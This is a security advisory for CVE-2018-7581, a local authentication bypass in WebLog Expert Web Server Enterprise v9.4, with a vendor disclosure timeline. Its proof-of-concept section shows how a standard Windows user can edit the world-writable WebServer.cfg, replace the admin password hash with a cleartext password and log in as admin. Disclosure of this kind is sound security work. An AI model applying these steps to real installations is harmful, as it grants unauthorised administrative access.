WebLog Expert Web Server Enterprise v9.4 / Authentication Bypass CVE-2018-7581

[hyp3rlinx <apparitionsec () gmail com>]

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt
[+] ISR: Apparition Security


Vendor:
========
www.weblogexpert.com


Product:
========
WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you
information about your site's visitors:
activity statistics, accessed files, paths through the site, information
about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that
include both text information (tables) and charts.



Vulnerability Type:
===================
Authentication Bypass



CVE Reference:
==============
CVE-2018-7581



Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by
WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set
a cleartext password and login as admin.

A standard non Windows Administrator user can edit the 'WebServer.cfg' file
under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.

e.g.

C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C


BUILTIN\Administrators:(ID)C
                                                      NT
AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F


Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext
password as follows.

[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1

Now login in as Admin! :)



Network Access:
===============
Local



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: March 1, 2018
No replies from previous attempts
March 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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